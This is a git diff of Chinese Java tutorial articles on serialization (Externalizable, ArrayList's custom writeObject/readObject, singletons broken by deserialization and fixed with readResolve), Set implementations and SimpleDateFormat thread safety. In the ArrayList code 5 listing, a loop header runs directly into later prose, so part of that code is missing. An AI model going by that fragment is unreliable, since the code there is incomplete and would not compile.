+ * 实现Externalizable接口,并实现writeExternal和readExternal方法
+ */
+ public class User2 implements Externalizable {
+
+ private String name;
+ private int age;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public void writeExternal(ObjectOutput out) throws IOException {
+ out.writeObject(name);
+ out.writeInt(age);
+ }
+
+ public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
+ name = (String) in.readObject();
+ age = in.readInt();
+ }
+
+ @Override
+ public String toString() {
+ return "User{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ '}';
+ }
+ }
+
+
+
+
+ package com.hollischaung.serialization.ExternalizableDemos;
+
+ import java.io.*;
+
+ /**
+ * Created by hollis on 16/2/17.
+ */
+ public class ExternalizableDemo2 {
+
+ //为了便于理解和节省篇幅,忽略关闭流操作及删除文件操作。真正编码时千万不要忘记
+ //IOException直接抛出
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ //Write Obj to file
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ User2 user = new User2();
+ user.setName("hollis");
+ user.setAge(23);
+ oos.writeObject(user);
+ //Read Obj from file
+ File file = new File("tempFile");
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
+ User2 newInstance = (User2) ois.readObject();
+ //output
+ System.out.println(newInstance);
+ }
+ }
+ //OutPut:
+ //User{name='hollis', age=23}
+
+
+这次,就可以把之前的对象状态持久化下来了。
+
+> 如果User类中没有无参数的构造函数,在运行时会抛出异常:`java.io.InvalidClassException`
+
+
+## 参考资料
+
+[维基百科][6]
+
+[理解Java对象序列化][7]
+
+[Java 序列化的高级认识][8]
+
+## 推荐阅读
+
+[深入分析Java的序列化与反序列化][4]
+
+[单例与序列化的那些事儿][5]
+
+ [1]: http://www.hollischuang.com/archives/1140#What%20Serializable%20Did
+ [2]: https://github.com/hollischuang/java-demo/tree/master/src/main/java/com/hollischaung/serialization/SerializableDemos
+ [3]: https://github.com/hollischuang/java-demo/tree/master/src/main/java/com/hollischaung/serialization/ExternalizableDemos
+ [4]: http://www.hollischuang.com/archives/1140
+ [5]: http://www.hollischuang.com/archives/1144
+ [6]: https://zh.wikipedia.org/wiki/序列化
+ [7]: http://www.blogjava.net/jiangshachina/archive/2012/02/13/369898.html
+ [8]: https://www.ibm.com/developerworks/cn/java/j-lo-serial/
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialize-principle.md b/docs/basics/java-basic/serialize-principle.md
new file mode 100644
index 00000000..993ae5b3
--- /dev/null
+++ b/docs/basics/java-basic/serialize-principle.md
@@ -0,0 +1,397 @@
+序列化是一种对象持久化的手段。普遍应用在网络传输、RMI等场景中。本文通过分析ArrayList的序列化来介绍Java序列化的相关内容。主要涉及到以下几个问题:
+
+> 怎么实现Java的序列化
+>
+> 为什么实现了java.io.Serializable接口才能被序列化
+>
+> transient的作用是什么
+>
+> 怎么自定义序列化策略
+>
+> 自定义的序列化策略是如何被调用的
+>
+> ArrayList对序列化的实现有什么好处
+
+## Java对象的序列化
+
+Java平台允许我们在内存中创建可复用的Java对象,但一般情况下,只有当JVM处于运行时,这些对象才可能存在,即,这些对象的生命周期不会比JVM的生命周期更长。但在现实应用中,就可能要求在JVM停止运行之后能够保存(持久化)指定的对象,并在将来重新读取被保存的对象。Java对象序列化就能够帮助我们实现该功能。
+
+使用Java对象序列化,在保存对象时,会把其状态保存为一组字节,在未来,再将这些字节组装成对象。必须注意地是,对象序列化保存的是对象的"状态",即它的成员变量。由此可知,**对象序列化不会关注类中的静态变量**。
+
+除了在持久化对象时会用到对象序列化之外,当使用RMI(远程方法调用),或在网络中传递对象时,都会用到对象序列化。Java序列化API为处理对象序列化提供了一个标准机制,该API简单易用。
+
+## 如何对Java对象进行序列化与反序列化
+
+在Java中,只要一个类实现了`java.io.Serializable`接口,那么它就可以被序列化。这里先来一段代码:
+
+code 1 创建一个User类,用于序列化及反序列化
+
+ package com.hollis;
+ import java.io.Serializable;
+ import java.util.Date;
+
+ /**
+ * Created by hollis on 16/2/2.
+ */
+ public class User implements Serializable{
+ private String name;
+ private int age;
+ private Date birthday;
+ private transient String gender;
+ private static final long serialVersionUID = -6849794470754667710L;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public Date getBirthday() {
+ return birthday;
+ }
+
+ public void setBirthday(Date birthday) {
+ this.birthday = birthday;
+ }
+
+ public String getGender() {
+ return gender;
+ }
+
+ public void setGender(String gender) {
+ this.gender = gender;
+ }
+
+ @Override
+ public String toString() {
+ return "User{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ ", gender=" + gender +
+ ", birthday=" + birthday +
+ '}';
+ }
+ }
+
+
+code 2 对User进行序列化及反序列化的Demo
+
+ package com.hollis;
+ import org.apache.commons.io.FileUtils;
+ import org.apache.commons.io.IOUtils;
+ import java.io.*;
+ import java.util.Date;
+
+ /**
+ * Created by hollis on 16/2/2.
+ */
+ public class SerializableDemo {
+
+ public static void main(String[] args) {
+ //Initializes The Object
+ User user = new User();
+ user.setName("hollis");
+ user.setGender("male");
+ user.setAge(23);
+ user.setBirthday(new Date());
+ System.out.println(user);
+
+ //Write Obj to File
+ ObjectOutputStream oos = null;
+ try {
+ oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ oos.writeObject(user);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(oos);
+ }
+
+ //Read Obj from File
+ File file = new File("tempFile");
+ ObjectInputStream ois = null;
+ try {
+ ois = new ObjectInputStream(new FileInputStream(file));
+ User newUser = (User) ois.readObject();
+ System.out.println(newUser);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(ois);
+ try {
+ FileUtils.forceDelete(file);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+ }
+ }
+ //output
+ //User{name='hollis', age=23, gender=male, birthday=Tue Feb 02 17:37:38 CST 2016}
+ //User{name='hollis', age=23, gender=null, birthday=Tue Feb 02 17:37:38 CST 2016}
+
+
+## 序列化及反序列化相关知识
+
+1、在Java中,只要一个类实现了`java.io.Serializable`接口,那么它就可以被序列化。
+
+2、通过`ObjectOutputStream`和`ObjectInputStream`对对象进行序列化及反序列化
+
+3、虚拟机是否允许反序列化,不仅取决于类路径和功能代码是否一致,一个非常重要的一点是两个类的序列化 ID 是否一致(就是 `private static final long serialVersionUID`)
+
+4、序列化并不保存静态变量。
+
+5、要想将父类对象也序列化,就需要让父类也实现`Serializable` 接口。
+
+6、Transient 关键字的作用是控制变量的序列化,在变量声明前加上该关键字,可以阻止该变量被序列化到文件中,在被反序列化后,transient 变量的值被设为初始值,如 int 型的是 0,对象型的是 null。
+
+7、服务器端给客户端发送序列化对象数据,对象中有一些数据是敏感的,比如密码字符串等,希望对该密码字段在序列化时,进行加密,而客户端如果拥有解密的密钥,只有在客户端进行反序列化时,才可以对密码进行读取,这样可以一定程度保证序列化对象的数据安全。
+
+## ArrayList的序列化
+
+在介绍ArrayList序列化之前,先来考虑一个问题:
+
+> **如何自定义的序列化和反序列化策略**
+
+带着这个问题,我们来看`java.util.ArrayList`的源码
+
+code 3
+
+ public class ArrayList extends AbstractList
+ implements List, RandomAccess, Cloneable, java.io.Serializable
+ {
+ private static final long serialVersionUID = 8683452581122892189L;
+ transient Object[] elementData; // non-private to simplify nested class access
+ private int size;
+ }
+
+
+笔者省略了其他成员变量,从上面的代码中可以知道ArrayList实现了`java.io.Serializable`接口,那么我们就可以对它进行序列化及反序列化。因为elementData是`transient`的,所以我们认为这个成员变量不会被序列化而保留下来。我们写一个Demo,验证一下我们的想法:
+
+code 4
+
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ List stringList = new ArrayList();
+ stringList.add("hello");
+ stringList.add("world");
+ stringList.add("hollis");
+ stringList.add("chuang");
+ System.out.println("init StringList" + stringList);
+ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("stringlist"));
+ objectOutputStream.writeObject(stringList);
+
+ IOUtils.close(objectOutputStream);
+ File file = new File("stringlist");
+ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
+ List newStringList = (List)objectInputStream.readObject();
+ IOUtils.close(objectInputStream);
+ if(file.exists()){
+ file.delete();
+ }
+ System.out.println("new StringList" + newStringList);
+ }
+ //init StringList[hello, world, hollis, chuang]
+ //new StringList[hello, world, hollis, chuang]
+
+
+了解ArrayList的人都知道,ArrayList底层是通过数组实现的。那么数组`elementData`其实就是用来保存列表中的元素的。通过该属性的声明方式我们知道,他是无法通过序列化持久化下来的。那么为什么code 4的结果却通过序列化和反序列化把List中的元素保留下来了呢?
+
+### writeObject和readObject方法
+
+在ArrayList中定义了来个方法: `writeObject`和`readObject`。
+
+这里先给出结论:
+
+> 在序列化过程中,如果被序列化的类中定义了writeObject 和 readObject 方法,虚拟机会试图调用对象类里的 writeObject 和 readObject 方法,进行用户自定义的序列化和反序列化。
+>
+> 如果没有这样的方法,则默认调用是 ObjectOutputStream 的 defaultWriteObject 方法以及 ObjectInputStream 的 defaultReadObject 方法。
+>
+> 用户自定义的 writeObject 和 readObject 方法可以允许用户控制序列化的过程,比如可以在序列化的过程中动态改变序列化的数值。
+
+来看一下这两个方法的具体实现:
+
+code 5
+
+ private void readObject(java.io.ObjectInputStream s)
+ throws java.io.IOException, ClassNotFoundException {
+ elementData = EMPTY_ELEMENTDATA;
+
+ // Read in size, and any hidden stuff
+ s.defaultReadObject();
+
+ // Read in capacity
+ s.readInt(); // ignored
+
+ if (size > 0) {
+ // be like clone(), allocate array based upon size not capacity
+ ensureCapacityInternal(size);
+
+ Object[] a = elementData;
+ // Read in all elements in the proper order.
+ for (int i=0; i 如何自定义的序列化和反序列化策略
+
+答:可以通过在被序列化的类中增加writeObject 和 readObject方法。那么问题又来了:
+
+> 虽然ArrayList中写了writeObject 和 readObject 方法,但是这两个方法并没有显示的被调用啊。
+>
+> **那么如果一个类中包含writeObject 和 readObject 方法,那么这两个方法是怎么被调用的呢?**
+
+## ObjectOutputStream
+
+从code 4中,我们可以看出,对象的序列化过程通过ObjectOutputStream和ObjectInputputStream来实现的,那么带着刚刚的问题,我们来分析一下ArrayList中的writeObject 和 readObject 方法到底是如何被调用的呢?
+
+为了节省篇幅,这里给出ObjectOutputStream的writeObject的调用栈:
+
+`writeObject ---> writeObject0 --->writeOrdinaryObject--->writeSerialData--->invokeWriteObject`
+
+这里看一下invokeWriteObject:
+
+ void invokeWriteObject(Object obj, ObjectOutputStream out)
+ throws IOException, UnsupportedOperationException
+ {
+ if (writeObjectMethod != null) {
+ try {
+ writeObjectMethod.invoke(obj, new Object[]{ out });
+ } catch (InvocationTargetException ex) {
+ Throwable th = ex.getTargetException();
+ if (th instanceof IOException) {
+ throw (IOException) th;
+ } else {
+ throwMiscException(th);
+ }
+ } catch (IllegalAccessException ex) {
+ // should not occur, as access checks have been suppressed
+ throw new InternalError(ex);
+ }
+ } else {
+ throw new UnsupportedOperationException();
+ }
+ }
+
+
+其中`writeObjectMethod.invoke(obj, new Object[]{ out });`是关键,通过反射的方式调用writeObjectMethod方法。官方是这么解释这个writeObjectMethod的:
+
+> class-defined writeObject method, or null if none
+
+在我们的例子中,这个方法就是我们在ArrayList中定义的writeObject方法。通过反射的方式被调用了。
+
+至此,我们先试着来回答刚刚提出的问题:
+
+> **如果一个类中包含writeObject 和 readObject 方法,那么这两个方法是怎么被调用的?**
+
+答:在使用ObjectOutputStream的writeObject方法和ObjectInputStream的readObject方法时,会通过反射的方式调用。
+
+* * *
+
+至此,我们已经介绍完了ArrayList的序列化方式。那么,不知道有没有人提出这样的疑问:
+
+
+
+
+> **Serializable明明就是一个空的接口,它是怎么保证只有实现了该接口的方法才能进行序列化与反序列化的呢?**
+
+Serializable接口的定义:
+
+ public interface Serializable {
+ }
+
+
+读者可以尝试把code 1中的继承Serializable的代码去掉,再执行code 2,会抛出`java.io.NotSerializableException`。
+
+其实这个问题也很好回答,我们再回到刚刚ObjectOutputStream的writeObject的调用栈:
+
+`writeObject ---> writeObject0 --->writeOrdinaryObject--->writeSerialData--->invokeWriteObject`
+
+writeObject0方法中有这么一段代码:
+
+ if (obj instanceof String) {
+ writeString((String) obj, unshared);
+ } else if (cl.isArray()) {
+ writeArray(obj, desc, unshared);
+ } else if (obj instanceof Enum) {
+ writeEnum((Enum>) obj, desc, unshared);
+ } else if (obj instanceof Serializable) {
+ writeOrdinaryObject(obj, desc, unshared);
+ } else {
+ if (extendedDebugInfo) {
+ throw new NotSerializableException(
+ cl.getName() + "\n" + debugInfoStack.toString());
+ } else {
+ throw new NotSerializableException(cl.getName());
+ }
+ }
+
+
+在进行序列化操作时,会判断要被序列化的类是否是Enum、Array和Serializable类型,如果不是则直接抛出`NotSerializableException`。
+
+## 总结
+
+1、如果一个类想被序列化,需要实现Serializable接口。否则将抛出`NotSerializableException`异常,这是因为,在序列化操作过程中会对类型进行检查,要求被序列化的类必须属于Enum、Array和Serializable类型其中的任何一种。
+
+2、在变量声明前加上该关键字,可以阻止该变量被序列化到文件中。
+
+3、在类中增加writeObject 和 readObject 方法可以实现自定义序列化策略
+
+## 参考资料
+
+[Java 序列化的高级认识][1]
+
+ [1]: https://www.ibm.com/developerworks/cn/java/j-lo-serial/
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialize-singleton.md b/docs/basics/java-basic/serialize-singleton.md
new file mode 100644
index 00000000..c5078c3e
--- /dev/null
+++ b/docs/basics/java-basic/serialize-singleton.md
@@ -0,0 +1,231 @@
+本文将通过实例+阅读Java源码的方式介绍序列化是如何破坏单例模式的,以及如何避免序列化对单例的破坏。
+
+> 单例模式,是设计模式中最简单的一种。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的控制并节约系统资源。如果希望在系统中某个类的对象只能存在一个,单例模式是最好的解决方案。关于单例模式的使用方式,可以阅读[单例模式的七种写法][1]
+
+但是,单例模式真的能够实现实例的唯一性吗?
+
+答案是否定的,很多人都知道使用反射可以破坏单例模式,除了反射以外,使用序列化与反序列化也同样会破坏单例。
+
+## 序列化对单例的破坏
+
+首先来写一个单例的类:
+
+code 1
+
+ package com.hollis;
+ import java.io.Serializable;
+ /**
+ * Created by hollis on 16/2/5.
+ * 使用双重校验锁方式实现单例
+ */
+ public class Singleton implements Serializable{
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+ }
+
+
+接下来是一个测试类:
+
+code 2
+
+ package com.hollis;
+ import java.io.*;
+ /**
+ * Created by hollis on 16/2/5.
+ */
+ public class SerializableDemo1 {
+ //为了便于理解,忽略关闭流操作及删除文件操作。真正编码时千万不要忘记
+ //Exception直接抛出
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ //Write Obj to file
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ oos.writeObject(Singleton.getSingleton());
+ //Read Obj from file
+ File file = new File("tempFile");
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
+ Singleton newInstance = (Singleton) ois.readObject();
+ //判断是否是同一个对象
+ System.out.println(newInstance == Singleton.getSingleton());
+ }
+ }
+ //false
+
+
+输出结构为false,说明:
+
+> 通过对Singleton的序列化与反序列化得到的对象是一个新的对象,这就破坏了Singleton的单例性。
+
+这里,在介绍如何解决这个问题之前,我们先来深入分析一下,为什么会这样?在反序列化的过程中到底发生了什么。
+
+## ObjectInputStream
+
+对象的序列化过程通过ObjectOutputStream和ObjectInputputStream来实现的,那么带着刚刚的问题,分析一下ObjectInputputStream 的`readObject` 方法执行情况到底是怎样的。
+
+为了节省篇幅,这里给出ObjectInputStream的`readObject`的调用栈:
+
+
+
+这里看一下重点代码,`readOrdinaryObject`方法的代码片段: code 3
+
+ private Object readOrdinaryObject(boolean unshared)
+ throws IOException
+ {
+ //此处省略部分代码
+
+ Object obj;
+ try {
+ obj = desc.isInstantiable() ? desc.newInstance() : null;
+ } catch (Exception ex) {
+ throw (IOException) new InvalidClassException(
+ desc.forClass().getName(),
+ "unable to create instance").initCause(ex);
+ }
+
+ //此处省略部分代码
+
+ if (obj != null &&
+ handles.lookupException(passHandle) == null &&
+ desc.hasReadResolveMethod())
+ {
+ Object rep = desc.invokeReadResolve(obj);
+ if (unshared && rep.getClass().isArray()) {
+ rep = cloneArray(rep);
+ }
+ if (rep != obj) {
+ handles.setObject(passHandle, obj = rep);
+ }
+ }
+
+ return obj;
+ }
+
+
+code 3 中主要贴出两部分代码。先分析第一部分:
+
+code 3.1
+
+ Object obj;
+ try {
+ obj = desc.isInstantiable() ? desc.newInstance() : null;
+ } catch (Exception ex) {
+ throw (IOException) new InvalidClassException(desc.forClass().getName(),"unable to create instance").initCause(ex);
+ }
+
+
+这里创建的这个obj对象,就是本方法要返回的对象,也可以暂时理解为是ObjectInputStream的`readObject`返回的对象。
+
+
+
+> `isInstantiable`:如果一个serializable/externalizable的类可以在运行时被实例化,那么该方法就返回true。针对serializable和externalizable我会在其他文章中介绍。
+>
+> `desc.newInstance`:该方法通过反射的方式调用无参构造方法新建一个对象。
+
+所以。到目前为止,也就可以解释,为什么序列化可以破坏单例了?
+
+> 答:序列化会通过反射调用无参数的构造方法创建一个新的对象。
+
+那么,接下来我们再看刚开始留下的问题,如何防止序列化/反序列化破坏单例模式。
+
+## 防止序列化破坏单例模式
+
+先给出解决方案,然后再具体分析原理:
+
+只要在Singleton类中定义`readResolve`就可以解决该问题:
+
+code 4
+
+ package com.hollis;
+ import java.io.Serializable;
+ /**
+ * Created by hollis on 16/2/5.
+ * 使用双重校验锁方式实现单例
+ */
+ public class Singleton implements Serializable{
+ private volatile static Singleton singleton;
+ private Singleton (){}
+ public static Singleton getSingleton() {
+ if (singleton == null) {
+ synchronized (Singleton.class) {
+ if (singleton == null) {
+ singleton = new Singleton();
+ }
+ }
+ }
+ return singleton;
+ }
+
+ private Object readResolve() {
+ return singleton;
+ }
+ }
+
+
+还是运行以下测试类:
+
+ package com.hollis;
+ import java.io.*;
+ /**
+ * Created by hollis on 16/2/5.
+ */
+ public class SerializableDemo1 {
+ //为了便于理解,忽略关闭流操作及删除文件操作。真正编码时千万不要忘记
+ //Exception直接抛出
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ //Write Obj to file
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ oos.writeObject(Singleton.getSingleton());
+ //Read Obj from file
+ File file = new File("tempFile");
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
+ Singleton newInstance = (Singleton) ois.readObject();
+ //判断是否是同一个对象
+ System.out.println(newInstance == Singleton.getSingleton());
+ }
+ }
+ //true
+
+
+本次输出结果为true。具体原理,我们回过头继续分析code 3中的第二段代码:
+
+code 3.2
+
+ if (obj != null &&
+ handles.lookupException(passHandle) == null &&
+ desc.hasReadResolveMethod())
+ {
+ Object rep = desc.invokeReadResolve(obj);
+ if (unshared && rep.getClass().isArray()) {
+ rep = cloneArray(rep);
+ }
+ if (rep != obj) {
+ handles.setObject(passHandle, obj = rep);
+ }
+ }
+
+
+`hasReadResolveMethod`:如果实现了serializable 或者 externalizable接口的类中包含`readResolve`则返回true
+
+`invokeReadResolve`:通过反射的方式调用要被反序列化的类的readResolve方法。
+
+所以,原理也就清楚了,主要在Singleton中定义readResolve方法,并在该方法中指定要返回的对象的生成策略,就可以防止单例被破坏。
+
+## 总结
+
+在涉及到序列化的场景时,要格外注意他对单例的破坏。
+
+## 推荐阅读
+
+[深入分析Java的序列化与反序列化][2]
+
+ [1]: http://www.hollischuang.com/archives/205
+ [2]: http://www.hollischuang.com/archives/1140
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialize.md b/docs/basics/java-basic/serialize.md
new file mode 100644
index 00000000..1d34aaff
--- /dev/null
+++ b/docs/basics/java-basic/serialize.md
@@ -0,0 +1,5 @@
+序列化是将对象转换为可传输格式的过程。 是一种数据的持久化手段。一般广泛应用于网络传输,RMI和RPC等场景中。
+
+反序列化是序列化的逆操作。
+
+序列化是将对象的状态信息转换为可存储或传输的形式的过程。一般是以字节码或XML格式传输。而字节码或XML编码格式可以还原为完全相等的对象。这个相反的过程称为反序列化。
\ No newline at end of file
diff --git a/basics/java-basic/set-repetition.md b/docs/basics/java-basic/set-repetition.md
similarity index 58%
rename from basics/java-basic/set-repetition.md
rename to docs/basics/java-basic/set-repetition.md
index fbbf4c7c..d9072a77 100644
--- a/basics/java-basic/set-repetition.md
+++ b/docs/basics/java-basic/set-repetition.md
@@ -1,10 +1,10 @@
在Java的Set体系中,根据实现方式不同主要分为两大类。HashSet和TreeSet。
-1、TreeSet 是二差树实现的,Treeset中的数据是自动排好序的,不允许放入null值
-2、HashSet 是哈希表实现的,HashSet中的数据是无序的,可以放入null,但只能放入一个null,两者中的值都不能重复,就如数据库中唯一约束
+1、TreeSet 是二叉树实现的,TreeSet中的数据是自动排好序的,不允许放入 null值
+2、HashSet 是哈希表实现的,HashSet中的数据是无序的,可以放入 null值,但只能放入一个null,两者中的值都不能重复,就如数据库中的唯一约束
-在HashSet中,基本的操作都是有HashMap底层实现的,因为HashSet底层是用HashMap存储数据的。当向HashSet中添加元素的时候,首先计算元素的hashcode值,然后通过扰动计算和按位与的方式计算出这个元素的存储位置,如果这个位置位空,就将元素添加进去;如果不为空,则用equals方法比较元素是否相等,相等就不添加,否则找一个空位添加。
+在HashSet中,基本的操作都是由HashMap底层实现的,因为HashSet底层是用HashMap存储数据的。当向HashSet中添加元素的时候,首先计算元素的hashCode值,然后通过扰动计算和按位与的方式计算出这个元素的存储位置,如果这个位置为空,就将元素添加进去;如果不为空,则用equals方法比较元素是否相等,相等就不添加,否则找一个空位添加。
TreeSet的底层是TreeMap的keySet(),而TreeMap是基于红黑树实现的,红黑树是一种平衡二叉查找树,它能保证任何一个节点的左右子树的高度差不会超过较矮的那棵的一倍。
-TreeMap是按key排序的,元素在插入TreeSet时compareTo()方法要被调用,所以TreeSet中的元素要实现Comparable接口。TreeSet作为一种Set,它不允许出现重复元素。TreeSet是用compareTo()来判断重复元素的。
\ No newline at end of file
+TreeMap是按key排序的,元素在插入TreeSet时compareTo()方法要被调用,所以TreeSet中的元素要实现Comparable接口。TreeSet作为一种Set,它不允许出现重复元素。TreeSet是用compareTo()来判断重复元素的。
diff --git a/basics/java-basic/set-vs-list.md b/docs/basics/java-basic/set-vs-list.md
similarity index 100%
rename from basics/java-basic/set-vs-list.md
rename to docs/basics/java-basic/set-vs-list.md
diff --git a/docs/basics/java-basic/simpledateformat-thread-safe.md b/docs/basics/java-basic/simpledateformat-thread-safe.md
new file mode 100644
index 00000000..7e8e4244
--- /dev/null
+++ b/docs/basics/java-basic/simpledateformat-thread-safe.md
@@ -0,0 +1,280 @@
+在日常开发中,我们经常会用到时间,我们有很多办法在Java代码中获取时间。但是不同的方法获取到的时间的格式都不尽相同,这时候就需要一种格式化工具,把时间显示成我们需要的格式。
+
+最常用的方法就是使用SimpleDateFormat类。这是一个看上去功能比较简单的类,但是,一旦使用不当也有可能导致很大的问题。
+
+在阿里巴巴Java开发手册中,有如下明确规定:
+
+
+
+那么,本文就围绕SimpleDateFormat的用法、原理等来深入分析下如何以正确的姿势使用它。
+
+### SimpleDateFormat用法
+
+SimpleDateFormat是Java提供的一个格式化和解析日期的工具类。它允许进行格式化(日期 -> 文本)、解析(文本 -> 日期)和规范化。SimpleDateFormat 使得可以选择任何用户定义的日期-时间格式的模式。
+
+在Java中,可以使用SimpleDateFormat的format方法,将一个Date类型转化成String类型,并且可以指定输出格式。
+
+ // Date转String
+ Date data = new Date();
+ SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ String dataStr = sdf.format(data);
+ System.out.println(dataStr);
+
+
+以上代码,转换的结果是:2018-11-25 13:00:00,日期和时间格式由"日期和时间模式"字符串指定。如果你想要转换成其他格式,只要指定不同的时间模式就行了。
+
+在Java中,可以使用SimpleDateFormat的parse方法,将一个String类型转化成Date类型。
+
+ // String转Data
+ System.out.println(sdf.parse(dataStr));
+
+
+#### 日期和时间模式表达方法
+
+在使用SimpleDateFormat的时候,需要通过字母来描述时间元素,并组装成想要的日期和时间模式。常用的时间元素和字母的对应表如下:
+
+![-w717][1]
+
+模式字母通常是重复的,其数量确定其精确表示。如下表是常用的输出格式的表示方法。
+
+![-w535][2]
+
+#### 输出不同时区的时间
+
+时区是地球上的区域使用同一个时间定义。以前,人们通过观察太阳的位置(时角)决定时间,这就使得不同经度的地方的时间有所不同(地方时)。1863年,首次使用时区的概念。时区通过设立一个区域的标准时间部分地解决了这个问题。
+
+世界各个国家位于地球不同位置上,因此不同国家,特别是东西跨度大的国家日出、日落时间必定有所偏差。这些偏差就是所谓的时差。
+
+现今全球共分为24个时区。由于实用上常常1个国家,或1个省份同时跨着2个或更多时区,为了照顾到行政上的方便,常将1个国家或1个省份划在一起。所以时区并不严格按南北直线来划分,而是按自然条件来划分。例如,中国幅员宽广,差不多跨5个时区,但为了使用方便简单,实际上在只用东八时区的标准时即北京时间为准。
+
+由于不同的时区的时间是不一样的,甚至同一个国家的不同城市时间都可能不一样,所以,在Java中想要获取时间的时候,要重点关注一下时区问题。
+
+默认情况下,如果不指明,在创建日期的时候,会使用当前计算机所在的时区作为默认时区,这也是为什么我们通过只要使用`new Date()`就可以获取中国的当前时间的原因。
+
+那么,如何在Java代码中获取不同时区的时间呢?SimpleDateFormat可以实现这个功能。
+
+ SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ sdf.setTimeZone(TimeZone.getTimeZone("America/Los_Angeles"));
+ System.out.println(sdf.format(Calendar.getInstance().getTime()));
+
+
+以上代码,转换的结果是: 2018-11-24 21:00:00 。既中国的时间是11月25日的13点,而美国洛杉矶时间比中国北京时间慢了16个小时(这还和冬夏令时有关系,就不详细展开了)。
+
+> 如果你感兴趣,你还可以尝试打印一下美国纽约时间(America/New_York)。纽约时间是2018-11-25 00:00:00。纽约时间比中国北京时间早了13个小时。
+
+当然,这不是显示其他时区的唯一方法,不过本文主要为了介绍SimpleDateFormat,其他方法暂不介绍了。
+
+## SimpleDateFormat线程安全性
+
+由于SimpleDateFormat比较常用,而且在一般情况下,一个应用中的时间显示模式都是一样的,所以很多人愿意使用如下方式定义SimpleDateFormat:
+
+ public class Main {
+
+ private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+
+ public static void main(String[] args) {
+ simpleDateFormat.setTimeZone(TimeZone.getTimeZone("America/New_York"));
+ System.out.println(simpleDateFormat.format(Calendar.getInstance().getTime()));
+ }
+ }
+
+
+**这种定义方式,存在很大的安全隐患。**
+
+#### 问题重现
+
+我们来看一段代码,以下代码使用线程池来执行时间输出。
+
+ /** * @author Hollis */
+ public class Main {
+
+ /**
+ * 定义一个全局的SimpleDateFormat
+ */
+ private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+
+ /**
+ * 使用ThreadFactoryBuilder定义一个线程池
+ */
+ private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilder()
+ .setNameFormat("demo-pool-%d").build();
+
+ private static ExecutorService pool = new ThreadPoolExecutor(5, 200,
+ 0L, TimeUnit.MILLISECONDS,
+ new LinkedBlockingQueue(1024), namedThreadFactory, new ThreadPoolExecutor.AbortPolicy());
+
+ /**
+ * 定义一个CountDownLatch,保证所有子线程执行完之后主线程再执行
+ */
+ private static CountDownLatch countDownLatch = new CountDownLatch(100);
+
+ public static void main(String[] args) {
+ //定义一个线程安全的HashSet
+ Set dates = Collections.synchronizedSet(new HashSet());
+ for (int i = 0; i < 100; i++) {
+ //获取当前时间
+ Calendar calendar = Calendar.getInstance();
+ int finalI = i;
+ pool.execute(() -> {
+ //时间增加
+ calendar.add(Calendar.DATE, finalI);
+ //通过simpleDateFormat把时间转换成字符串
+ String dateString = simpleDateFormat.format(calendar.getTime());
+ //把字符串放入Set中
+ dates.add(dateString);
+ //countDown
+ countDownLatch.countDown();
+ });
+ }
+ //阻塞,直到countDown数量为0
+ countDownLatch.await();
+ //输出去重后的时间个数
+ System.out.println(dates.size());
+ }
+ }
+
+
+以上代码,其实比较简单,很容易理解。就是循环一百次,每次循环的时候都在当前时间基础上增加一个天数(这个天数随着循环次数而变化),然后把所有日期放入一个**线程安全的**、**带有去重功能**的Set中,然后输出Set中元素个数。
+
+> 上面的例子我特意写的稍微复杂了一些,不过我几乎都加了注释。这里面涉及到了[线程池的创建][3]、[CountDownLatch][4]、lambda表达式、线程安全的HashSet等知识。感兴趣的朋友可以逐一了解一下。
+
+正常情况下,以上代码输出结果应该是100。但是实际执行结果是一个小于100的数字。
+
+原因就是因为SimpleDateFormat作为一个非线程安全的类,被当做了共享变量在多个线程中进行使用,这就出现了线程安全问题。
+
+在阿里巴巴Java开发手册的第一章第六节——并发处理中关于这一点也有明确说明:
+
+
+
+那么,接下来我们就来看下到底是为什么,以及该如何解决。
+
+#### 线程不安全原因
+
+通过以上代码,我们发现了在并发场景中使用SimpleDateFormat会有线程安全问题。其实,JDK文档中已经明确表明了SimpleDateFormat不应该用在多线程场景中:
+
